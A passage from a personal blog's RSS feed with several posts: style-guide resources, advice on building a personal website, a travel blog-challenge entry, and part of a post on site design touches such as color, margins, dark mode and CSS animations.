    &lt;p&gt;When referring to another individual on the web, I &lt;em&gt;prefer&lt;/em&gt; inline-linking to their “About” page on their personal website (if they have one). If not, I will fallback to a Fediverse handle link or link to their site’s home page.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;shellsharks-style-related-resources&quot;&gt;Shellsharks Style-Related Resources&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/blogging-methodology&quot;&gt;Blogging Methodology&lt;/a&gt;: My process/methodology for ideationg, writing and editing.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/good-sitekeeping&quot;&gt;Good Sitekeeping&lt;/a&gt;: Things I like to see on people’s web pages.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/why&quot;&gt;Guiding Principles&lt;/a&gt;: The principles that guide me as I write and build this site.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;Links&lt;/a&gt;: A love letter to links.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;Multiplicity of Writing&lt;/a&gt;: Describing the different types of post content on this site.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/style&quot;&gt;Style page&lt;/a&gt;: How this site is styled aesthetically.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/syndication-strategy&quot;&gt;Syndication Strategy&lt;/a&gt;: How I syndicate and share content to and from this site.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/web-page-annoyances&quot;&gt;Web Page Annoyances&lt;/a&gt;: Things I don’t do! (and some I do)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/writing-mannerisms&quot;&gt;Writing Mannerisms&lt;/a&gt;: The precursor to this Style Manual, and a place where I’ve documented a number of writing peculiaries/oddities of mine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This guide/manual was inpsired by the &lt;a href=&quot;https://fedran.com/style-guide/&quot;&gt;Fedran Style Guide&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Tue, 08 Apr 2025 10:37:00 -0400</pubDate>
        <link>https://shellsharks.com/manual-of-style</link>
        <guid isPermaLink="true">https://shellsharks.com/manual-of-style</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Things I Wish I Knew Before I Made My Website</title>
        <shark:summary><p>Here’s a list of things <a href="https://indieweb.social/@thesmallweb/114274206171285723">I wish I had known</a> before I set out on my blogging / site-making / <a href="https://shellsharks.com/indieweb">IndieWeb</a> journey. (In no particular order)
<br /><br />
<em>Had</em> I known these, and carefully considered each, I would have saved myself <em>A LOT</em> of time fixing stuff, and even now, would have a lot less things to fix and add. For example, my CSS files are a mess, I have a lot of poorly managed inline <em>.JS</em> everywhere, accessiblity nightmares abound and much more… <em>Learn from my mistakes!</em></p>
</shark:summary>
        <description>&lt;p&gt;Here’s a list of things &lt;a href=&quot;https://indieweb.social/@thesmallweb/114274206171285723&quot;&gt;I wish I had known&lt;/a&gt; before I set out on my blogging / site-making / &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; journey. (In no particular order)
&lt;br /&gt;&lt;br /&gt;
&lt;em&gt;Had&lt;/em&gt; I known these, and carefully considered each, I would have saved myself &lt;em&gt;A LOT&lt;/em&gt; of time fixing stuff, and even now, would have a lot less things to fix and add. For example, my CSS files are a mess, I have a lot of poorly managed inline &lt;em&gt;.JS&lt;/em&gt; everywhere, accessiblity nightmares abound and much more… &lt;em&gt;Learn from my mistakes!&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Understand and properly leverage &lt;strong&gt;&lt;a href=&quot;https://www.w3schools.com/html/html5_semantic_elements.asp&quot;&gt;Semantic HTML Elements&lt;/a&gt;&lt;/strong&gt;. This approach will help your code be more readable, more modular and more descriptive.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Be purposeful and methodical with your CSS “code”&lt;/strong&gt;. Try to define common sense CSS and make it reusable. To the best of your ability, try to avoid overusing inline CSS. It will make things harder to troubleshoot and more annoying to maintain over time. Take the time to understand dynamic HTMl stuff for different screen-sized devices, etc… You’re going to want your site to look good on desktops and phones, simple as that.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use JavaScript sparingly&lt;/strong&gt;, try to design your site to work well-enough for those who completely disable JavaScript. &lt;em&gt;Look&lt;/em&gt;, my site has plenty of JS, and I &lt;em&gt;know&lt;/em&gt; certain things would completely break if it were disabled (looking at you &lt;a href=&quot;https://shellsharks.com/notes/2023/07/19/hello-hamburger-menu&quot;&gt;hamburger menu&lt;/a&gt;). That’s really too bad for folks who want to use my site. I’d like to fix this, but just haven’t had time to figure it out. Also consider &lt;a href=&quot;https://www.gnu.org/philosophy/javascript-trap.html&quot;&gt;The JavaScript Trap&lt;/a&gt;. JS not only has incompatibility issues, but can also just slow down your site and introduce potential security vulns. Important things to consider!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Don’t box yourself in creatively&lt;/strong&gt;—&lt;u&gt;REALLY!&lt;/u&gt; &lt;a href=&quot;https://shellsharks.com/notes/2025/01/29/publish-with-pride&quot;&gt;Allow yourself&lt;/a&gt; to write about whatever you want. Use things like &lt;a href=&quot;https://shellsharks.com/devlog/collection-all-the-things&quot;&gt;collections&lt;/a&gt;, different &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;post types&lt;/a&gt; or &lt;a href=&quot;https://shellsharks.com/tags&quot;&gt;tags&lt;/a&gt; to logically differentiate things you think are meant for different audiences if you must.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Version &lt;u&gt;one&lt;/u&gt; of your site should have a &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#theme-toggle&quot;&gt;theme toggle&lt;/a&gt;&lt;/strong&gt; (i.e. dark/light mode) and a &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/devlog/site-search&quot;&gt;search&lt;/a&gt; function&lt;/strong&gt;. You’re going to want these eventually, and it’s worth getting them right in the initial design if you ask me.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Build &lt;strong&gt;accessibility&lt;/strong&gt; in from the get-go. I’ve put very little effort into this, and that &lt;em&gt;sucks&lt;/em&gt;. One of my &lt;a href=&quot;https://shellsharks.com/why&quot;&gt;Guiding Principles&lt;/a&gt; for this site is that it is &lt;em&gt;available to be consumed by all&lt;/em&gt;. Yet, if I’ve not made it adequately &lt;a href=&quot;https://www.w3.org/WAI/fundamentals/accessibility-intro/&quot;&gt;accessible&lt;/a&gt;, it will never meet this mantra. It’s not necessarily hard to do, but if you don’t consider it from t=0, it becomes harder and more time-consuming to retroactively make it so.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Write for yourself&lt;/strong&gt;, not for some perceived “audience”. Don’t try to be a persona (i.e. some “professional” fragment of your true self)—&lt;strong&gt;just be yourself&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Do some basic &lt;strong&gt;website wireframing&lt;/strong&gt; as part of your initial size build. Carefully consider what you want your &lt;a href=&quot;https://shellsharks.com/whats-a-home-page&quot;&gt;home page&lt;/a&gt; to look like, how you want people to navigate about, what you want your posts to look like, etc…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;How “social” do you want your site to be?&lt;/strong&gt; In the age of the &lt;a href=&quot;http://socialweb.network&quot;&gt;social web&lt;/a&gt;, there is a lot you can add or implement to make your site interoperate with &lt;a href=&quot;https://www.w3.org/TR/activitypub/&quot;&gt;ActivityPub&lt;/a&gt;, &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb protocols&lt;/a&gt;, comment systems, etc…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Check out my guide on &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/good-sitekeeping&quot;&gt;Good Sitekeeping&lt;/a&gt;&lt;/strong&gt;—Site Styling &amp;amp; Design Things I Enjoy and Recommend.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Oh&lt;/em&gt;, and here’s a bunch of things &lt;a href=&quot;https://shellsharks.com/you-should-blog#what-not-to-worry-about&quot;&gt;you shouldn’t worry about&lt;/a&gt;, and some things I &lt;a href=&quot;https://shellsharks.com/web-page-annoyances&quot;&gt;suggest you avoid&lt;/a&gt;. &lt;em&gt;Best of luck!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 07 Apr 2025 11:35:00 -0400</pubDate>
        <link>https://shellsharks.com/blog-things-i-wish-i-had-known</link>
        <guid isPermaLink="true">https://shellsharks.com/blog-things-i-wish-i-had-known</guid>
        
        <category>technology</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Travel Adventures</title>
        <shark:summary><p>Here’s another <em>Blog Questions Challenge</em>. <a href="https://beep.town/@blog_challenge/114162794720726554">This week</a>, it’s all about <strong>Travel Adventures</strong>!</p>
</shark:summary>
        <description>&lt;p&gt;Here’s another &lt;em&gt;Blog Questions Challenge&lt;/em&gt;. &lt;a href=&quot;https://beep.town/@blog_challenge/114162794720726554&quot;&gt;This week&lt;/a&gt;, it’s all about &lt;strong&gt;Travel Adventures&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;Here are the questions…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#silliest-souvenir&quot;&gt;What’s the silliest souvenir you’ve ever brought back from a trip?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#teleport-for-a-day-trip&quot;&gt;If you could teleport anywhere right now, for a day trip, where would you go?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#weirdest-food&quot;&gt;What’s the weirdest food you’ve ever tried while traveling?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#memorable-wrong-turn&quot;&gt;What’s the most memorable “wrong turn” you’ve taken on an adventure?&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;silliest-souvenir&quot;&gt;Silliest Souvenir&lt;/h1&gt;

&lt;p&gt;In 2014 me and my wife went to Costa Rica. We did a lot of travel-by-bus to various excusions and destinations across the country. During those bus rides, I (&lt;em&gt;for whatever reason&lt;/em&gt;) witnessed an unusual amount of machete-based chopping of vegetation and general plant-related growth on the sides of the rural roads we traveled down. Now this might not be unusual for Costa Rica, but it was for me as a tourist. So &lt;em&gt;naturally&lt;/em&gt;, I wanted to get a &lt;strong&gt;machete&lt;/strong&gt; as a souvenir. At the time of purchasing it, I never considered what it would look like, trying to get a huge machete back through customs at the airport…&lt;/p&gt;

&lt;p&gt;State-side, we got to security and that’s when I remembered my cargo. &lt;em&gt;Sure enough&lt;/em&gt;, going through security I was asked to come with them to a back room as they had some questions for me. I thought for sure it was because of the machete. But &lt;em&gt;nope&lt;/em&gt;! They were interested in a &lt;em&gt;different&lt;/em&gt; souvenir of mine. We had also purchased a “rain stick”, which is effectively just a hollow wooden tube filled with small beads. They were really curious (and slightly concerend) about what all those little beads were inside the stick. After a brief explanation though they were satisfied and I was on my way once more. Not even a single mention of the machete. &lt;em&gt;Hah!&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;teleport-for-a-day-trip&quot;&gt;Teleport for a Day Trip&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/otemanu.JPG&quot; alt=&quot;Mt. Otemanu&quot; width=&quot;500px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s me in Bora Bora circa 2016. There’s a &lt;em&gt;very&lt;/em&gt; non-zero chance that I was thinking about climbing that mountain in this exact moment (&lt;em&gt;in addition to just posing for a super-cool sunset pic&lt;/em&gt;). If I could teleport to one place for a day to do something, it wound be here, to &lt;strong&gt;hike Bora Bora’s Mount Otemanu&lt;/strong&gt;. Afterwards, I’d just chill on the beach with a nice beverage and watch the sun set, much like I did in 2016. 🏝️ 🌅&lt;/p&gt;

&lt;h1 id=&quot;weirdest-food&quot;&gt;Weirdest Food&lt;/h1&gt;

&lt;p&gt;In 2013, I went on my first international trip ever. So where does one go on their first trip out of the country? &lt;em&gt;Africa of course&lt;/em&gt;! Me and my wife went to South Africa—first to Cape Town and then to Kruger National Park for some safari-ing. To this day (&lt;em&gt;and I’ve done a &lt;a href=&quot;https://shellsharks.com/about?about=travel&quot;&gt;fair bit of travel since&lt;/a&gt;&lt;/em&gt;), I would still say it’s my favorite trip I’ve ever done. One night, while dining out in the city-center of Cape Town, we ordered what I remember as some sort of “exotic meat sampler”. On the resulting plate, we tried a number of interesting South African-native game including Kudu, Crocodile, Springbok and if I’m remembering fully, Zebra. All I really remember about that experience beyond what I tried was that Kudu was delicious, and I was &lt;u&gt;not&lt;/u&gt; into the croc.&lt;/p&gt;

&lt;h1 id=&quot;memorable-wrong-turn&quot;&gt;Memorable Wrong Turn&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Look&lt;/em&gt;, my wife is the (trip) planner of the two of us, and she is &lt;em&gt;amazing&lt;/em&gt; at it. What this means is that our trips are &lt;em&gt;always&lt;/em&gt; fantastic, we get into a TON of fun activities, and we &lt;em&gt;rarely&lt;/em&gt; encounter anything you might consider a “wrong turn”. That said, this particlar question made me think of two distinct wrong-turn-esque events…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Once, while driving &lt;em&gt;somewhere&lt;/em&gt; in Germany we witnessed this little car in front of us try to make too sharp of a turn on a highway on-ramp and completely spin out—like a 360° spin. It was wild, and quite scary to witness. A “wrong turn” for that individual to say the least.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The most memorable “wrong turn” for me however occurred when me and my wife were trying to drive back from the national park in Sintra, Portugal to where we were staying in Lisbon. We exited the park into what I imagine was the old-town part of Sintra and ended up on some very tiny streets with extremely narrow passage ways between the buildings and walls of the town. At one point, my wife had to get out of the car and help me narrowly traverse one particularly tight corridor. Our rental was a pretty small car too. Luckily, we made it out without a scratch, &lt;em&gt;literally&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Thanks for reading!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 17 Mar 2025 14:18:00 -0400</pubDate>
        <link>https://shellsharks.com/blog-challenge-travel-adventures</link>
        <guid isPermaLink="true">https://shellsharks.com/blog-challenge-travel-adventures</guid>
        
        <category>life</category>
        
        <category>travel</category>
        
        <category>blogchallenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Good Sitekeeping</title>
        <shark:summary><p>My site is over <a href="https://shellsharks.com/notes/2024/05/30/5-years">5 years</a> old at this point, and in that time I have had several <a href="https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history">noteworthy site redesigns</a>. In between those big remodels, I’ve also been near-constantly tweaking design elements, and tinkering with the CSS <a href="https://shellsharks.com/style">styling</a>. Along the way, I’ve discovered certain site decor and design choices that <em>I think</em> are pleasing. Now I understand that beauty is in the eye of the beholder, which makes this quite subjective. I also am <em>very aware</em> that my site is probably riddled with CSS-related atrocities, accessibility faux pas, and other web design best-practice deviations. But, with all that said, here are some things I have done with my site up to this point that I think make it look <em>and feel</em> great. They are what make it enjoyable for me to just scroll around on and experience, even when I’m not looking for anything in particular. Sometimes I just browse and click about enjoying the UX I’ve put together.</p>
</shark:summary>
        <description>&lt;p&gt;My site is over &lt;a href=&quot;https://shellsharks.com/notes/2024/05/30/5-years&quot;&gt;5 years&lt;/a&gt; old at this point, and in that time I have had several &lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history&quot;&gt;noteworthy site redesigns&lt;/a&gt;. In between those big remodels, I’ve also been near-constantly tweaking design elements, and tinkering with the CSS &lt;a href=&quot;https://shellsharks.com/style&quot;&gt;styling&lt;/a&gt;. Along the way, I’ve discovered certain site decor and design choices that &lt;em&gt;I think&lt;/em&gt; are pleasing. Now I understand that beauty is in the eye of the beholder, which makes this quite subjective. I also am &lt;em&gt;very aware&lt;/em&gt; that my site is probably riddled with CSS-related atrocities, accessibility faux pas, and other web design best-practice deviations. But, with all that said, here are some things I have done with my site up to this point that I think make it look &lt;em&gt;and feel&lt;/em&gt; great. They are what make it enjoyable for me to just scroll around on and experience, even when I’m not looking for anything in particular. Sometimes I just browse and click about enjoying the UX I’ve put together.&lt;/p&gt;

&lt;p&gt;I recommend other folks use these same techniques to make their site look better!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#pops-of-color&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt; Pops of color&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#generous-margins&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Generous margins on content pages (e.g. blog posts)&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#highlight&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;::selection&lt;/code&gt; coloring&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#darklightmode&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Custom dark/light modes&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#icons&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Iconography&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#whimsy&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Little whimsical touches&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#headerfooter&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Simple, clean, consistent footer &amp;amp; header&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#kiss&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Content pages are for content&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dates&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Page published / updated dates&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#artwork&quot;&gt;&lt;i class=&quot;ph ph-link-simple-horizontal&quot;&gt;&lt;/i&gt;&lt;a&gt;  Artwork!&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;style&gt;
.rainbow {
  background-image: -webkit-gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
  background-image: gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
  color:transparent;
  -webkit-background-clip: text;
  background-clip: text;
  animation: animatedBackground 5s linear infinite;
    -moz-animation: animatedBackground 5s linear infinite;
    -webkit-animation: animatedBackground 5s linear infinite;
    -ms-animation: animatedBackground 5s linear infinite;
    -o-animation: animatedBackground 5s linear infinite;
}
&lt;/style&gt;

&lt;hr class=&quot;fin&quot; /&gt;

&lt;h1 id=&quot;pops-of-color&quot;&gt;Pops of &lt;span class=&quot;shellsharks&quot;&gt;Color&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;Your site doesn’t need to look like all those “professional”, boring, sterile blogs out there. &lt;strong&gt;Add color&lt;/strong&gt; - &lt;span class=&quot;shellsharks&quot;&gt;&lt;i&gt;everywhere&lt;/i&gt;&lt;/span&gt;! Background colors, font colors, gradients, &lt;em&gt;whatever&lt;/em&gt;. I mean you don’t want things to be &lt;em&gt;garish&lt;/em&gt;, but you can color things up in a way that both looks great and &lt;em&gt;isn’t&lt;/em&gt; over the top. Here’s some of my favorite examples of how I’ve injected color into elements across my site…&lt;/p&gt;

&lt;p&gt;My &lt;a href=&quot;https://shellsharks.com/&quot;&gt;home page&lt;/a&gt;. Notice the subtle &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;color-mix()&lt;/code&gt; backgrounds for each content stream and the slightly more pronounced border line. &lt;em&gt;Awesome&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/goodsitekeeping/homefeeds.png&quot; alt=&quot;Feed Streams on Home Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;Activity feed&lt;/a&gt;. Remind you of any other &lt;a href=&quot;https://shellsharks.com/notes/2025/02/06/did-i-inspire-tapestry&quot;&gt;awesome looking design&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/notes/2025/activity_snapshot.png&quot; alt=&quot;Activity Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;Notes feed&lt;/a&gt;. Dynamic background colors corresponding to different syndication sources. One of my favorite ideas I’ve had.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/goodsitekeeping/notebook.png&quot; alt=&quot;Notebook&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://shellsharks.com/grimoire&quot;&gt;Infosec-Only content feed&lt;/a&gt;. Little color flourishes on the border-left lines corresponding to different &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;content types&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/goodsitekeeping/infosecblogs.png&quot; alt=&quot;Infosec Feed&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;generous-margins&quot;&gt;Generous Margins&lt;/h1&gt;

&lt;div class=&quot;containbox&quot;&gt;
On a tablet or desktop browser? Check out the &lt;i class=&quot;ph ph-arrow-fat-left&quot;&gt;&lt;/i&gt; left and right &lt;i class=&quot;ph ph-arrow-fat-right&quot;&gt;&lt;/i&gt; margins! On larger (non mobile) displays, I&apos;ve given page content ample margins 🤗.
&lt;/div&gt;

&lt;p&gt;For most of my pages and published content, I’ve allowed for &lt;strong&gt;generous margins&lt;/strong&gt; by setting the content width to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max-width: 800px&lt;/code&gt;. Not sure I can adequately describe &lt;em&gt;why&lt;/em&gt; it makes my posts and content look better, but it just does. There are a few exceptions, notably my &lt;a href=&quot;]/whats-a-home-page&quot;&gt;home page&lt;/a&gt; and the &lt;a href=&quot;https://shellsharks.com/statboard&quot;&gt;statboard&lt;/a&gt; which have nearly-full-width margins. For those pages, I am emphasizing information density so I need that extra horizontal space.&lt;/p&gt;

&lt;h1 id=&quot;highlight&quot;&gt;Custom ::Selection &lt;span style=&quot;background: color-mix(in srgb, var(--accent-color) 80%, var(--light-background-color));color: var(--highlight-font-color);&quot;&gt;Highlighting&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;I hadn’t ever considered doing this and then I think &lt;span style=&quot;background-color: light-dark(#3364ff,#6b9eff); border-radius: 0.25rem; color: light-dark(#f9fafb,#14161a); padding-right: 0.25rem; padding-left: 0.25rem;&quot;&gt;I got the idea&lt;/span&gt; from &lt;a href=&quot;https://www.coryd.dev&quot;&gt;Cory&lt;/a&gt;. Try &lt;strong&gt;highlighting&lt;/strong&gt; some text on this page (this won’t work on mobile)… &lt;em&gt;Kinda fun right?&lt;/em&gt; I don’t see a lot of sites implement this (maybe because of the accessibility pitfalls?) but I think it’s just a &lt;em&gt;hella&lt;/em&gt; delightful touch. &lt;em&gt;It’s giving&lt;/em&gt; very bespoke, artisinal experience. You can do something similar by setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;::selection&lt;/code&gt; CSS pseudo-element.&lt;/p&gt;

&lt;h1 id=&quot;darklightmode&quot;&gt;&lt;span style=&quot;background-color:black;color:white;padding:10px;border-radius:5px;&quot;&gt;Dark&lt;/span&gt; / &lt;span style=&quot;background-color:white;color:black;padding:10px;border-radius:5px;&quot;&gt;Light&lt;/span&gt; Modes&lt;/h1&gt;

&lt;p&gt;Besides catering to the personal preferences of your readership (&lt;em&gt;à la&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prefers-color-scheme&lt;/code&gt;), having different &lt;strong&gt;themes&lt;/strong&gt; is just a fun way to experience your site in (&lt;em&gt;literally&lt;/em&gt;) different lights from time to time. A change of scenery if you will.&lt;/p&gt;

&lt;h1 id=&quot;icons&quot;&gt;Icons &lt;i class=&quot;ph ph-sparkle&quot;&gt;&lt;/i&gt; &lt;i class=&quot;ph ph-confetti&quot;&gt;&lt;/i&gt; &lt;i class=&quot;ph ph-pizza&quot;&gt;&lt;/i&gt;&lt;/h1&gt;

&lt;p&gt;Sprinkle your site with emojis and other &lt;strong&gt;icons&lt;/strong&gt;. On this site, I use &lt;a href=&quot;https://phosphoricons.com&quot;&gt;Phosphor&lt;/a&gt;. It breaks up the monotony of text, and it’s just &lt;u&gt;fun&lt;/u&gt;.&lt;/p&gt;

&lt;h1 id=&quot;whimsy&quot; class=&quot;rainbow&quot;&gt;Whimsical Touches&lt;/h1&gt;

&lt;p&gt;I’m &lt;em&gt;real&lt;/em&gt; &lt;span style=&quot;font-size:1.2em;&quot;&gt;big&lt;/span&gt; on this one. The web should be &lt;em&gt;fun&lt;/em&gt;. Life could use a bit more &lt;strong&gt;whimsy&lt;/strong&gt; if you ask me. Put fun li’l easter eggs and other quirky things on your site. Surprise and delight your audience. You’re only limited here by your own creativity (and willingness to learn random HTML / JS / CSS stuff). Play with colors, hide li’l images in secret places, use animations (responsibly), do something &lt;em&gt;different&lt;/em&gt;, be &lt;u&gt;unique&lt;/u&gt;. My &lt;a href=&quot;https://shellsharks.com/devlog/shark-fin-hr&quot;&gt;Shark Fin&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; is one of my favorite &lt;a href=&quot;https://shellsharks.com/tags?tag=whimsy&quot;&gt;whimsical&lt;/a&gt; flourishes I’ve come up with for this site thus far. There’s a lot of other things to discover here too! This very page is filled with custom whimsical touches, differentiating it from other posts on this site and beyond.&lt;/p&gt;

&lt;h1 id=&quot;headerfooter&quot;&gt;Simple, Consistent &lt;span style=&quot;text-decoration-line: overline; text-decoration-color: var(--accent-color)&quot;&gt;Header&lt;/span&gt; &amp;amp; &lt;span style=&quot;text-decoration-line: underline; text-decoration-color: var(--accent-color)&quot;&gt;Footer&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;This is definitely related to the &lt;a href=&quot;#kiss&quot;&gt;next item&lt;/a&gt;, but I’ll speak to it individually. I’ve gone through a variety of different &lt;strong&gt;header and footer&lt;/strong&gt; designs. I also see a lot of other sites headers and footers in my travels across the web. I’ve found my favorite to be those that just keep it simple, light-weight and consistent across pages of the site.&lt;/p&gt;

&lt;p&gt;After the actual content of my posts, all I have is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;hr&amp;gt;&lt;/code&gt;, a quick post meta-data block, a link to the prev/next post(s) and my &lt;em&gt;shark footer&lt;/em&gt;. Even with just those things I’ve considered maybe taking out the prev/next links to simplify it even further. More on keeping things simple…&lt;/p&gt;

&lt;h1 id=&quot;kiss&quot;&gt;KISS Your Content 😘&lt;/h1&gt;

